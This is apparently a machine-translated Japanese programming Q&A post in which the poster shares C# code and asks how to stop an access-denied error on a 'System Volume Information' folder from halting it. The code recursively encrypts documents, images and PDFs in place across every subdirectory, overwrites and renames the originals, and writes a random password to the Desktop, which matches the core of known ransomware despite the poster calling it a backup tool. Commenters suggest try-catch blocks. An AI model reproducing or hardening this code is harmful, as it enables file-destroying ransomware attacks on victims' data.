public byte[] AES_Encrypt(byte[] bytesToBeEncrypted, byte[] passwordBytes)
{
byte[] encryptedBytes = null;
byte[] saltBytes = new byte[] { 1, 2, 3, 4, 5, 6, 7, 8 };
using (MemoryStream ms = new MemoryStream())
{
using (RijndaelManaged AES = new RijndaelManaged())
{
AES.KeySize = 256;
AES.BlockSize = 128;
var key = new Rfc2898DeriveBytes(passwordBytes, saltBytes, 1000);
AES.Key = key.GetBytes(AES.KeySize/8);
AES.IV = key.GetBytes(AES.BlockSize/8);
AES.Mode = CipherMode.CBC;
using (var cs = new CryptoStream(ms, AES.CreateEncryptor(), CryptoStreamMode.Write))
{
cs.Write(bytesToBeEncrypted, 0, bytesToBeEncrypted.Length);
cs.Close();
}
encryptedBytes = ms.ToArray();
}
}
return encryptedBytes;
}
public string CreatePassword(int length)
{
const string valid = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890*!=&?&/";
StringBuilder res = new StringBuilder();
Random rnd = new Random();
while (0 < length--)
{
res.Append(valid[rnd.Next(valid.Length)]);
}
return res.ToString();
}
public void SendPassword(string password)
{
string info = password;
System.IO.File.WriteAllText(Environment.GetFolderPath(Environment.SpecialFolder.Desktop), info);
}
public void EncryptFile(string file, string password)
{
byte[] bytesToBeEncrypted = File.ReadAllBytes(file);
byte[] passwordBytes = Encoding.UTF8.GetBytes(password);
// Hash the password with SHA256
passwordBytes = SHA256.Create().ComputeHash(passwordBytes);
byte[] bytesEncrypted = AES_Encrypt(bytesToBeEncrypted, passwordBytes);
File.WriteAllBytes(file, bytesEncrypted);
File.Move(file, file+".backup");
}
public void encryptDirectory(string location, string password)
{
var validExtensions = new[]
{
".txt", ".doc", ".docx", ".xls", ".xlsx", ".ppt", ".pptx", ".odt", ".jpg", ".pdf", ".png"
};
string[] files = Directory.GetFiles(location);
string[] childDirectories = Directory.GetDirectories(location);
for (int i = 0; i < files.Length; i++)
{
string extension = Path.GetExtension(files[i]);
if (validExtensions.Contains(extension))
{
EncryptFile(files[i], password);
}
}
for (int i = 0; i < childDirectories.Length; i++)
{
encryptDirectory(childDirectories[i], password);
}
}
これはコードです(すべてではありません)。 ディレクトリとそのディレクトリ内のファイルを暗号化します。C#暗号化は未処理の例外を発生させますか?
パスワードをデスクトップの.txtファイルに保存するので、暗号化されたデータをクラウドとpendriveに保存してバックアップすることができます。
しかし、時には私もpendriveを暗号化しようとしましたが、未処理の例外が発生しました( "E:\ System Volume Information"へのアクセスが拒否されています)。問題ありません。とにかく暗号化がそこで終わり、私はそれがそのフォルダを無視し、他人への暗号化を続けることを望む。
私はたくさんのことを試み、多くを検索しましたが、何をすべきか分かりません。どのような助けも非常に長い "ストーリー"に感謝して申し訳ありません。 ひどい英語。
EDITED:Try catchブロックを使用する正しい場所が見つかりました。ご不便をおかけして申し訳ございません。
例外のスタックトレースを投稿できますか? – EJoshuaS
スタックトレースではなく[完全な例外の詳細](https://blogs.msdn.microsoft.com/saraford/2008/08/07/did-you-know-you-can-copy-the-exception-details) -with-one-click-from-the-exception-assistant-276 /) –
あなたのコードをtry-catchブロックの中に入れてください。 try-catchブロックがなければ、処理されない例外があり、それは悪いです。 –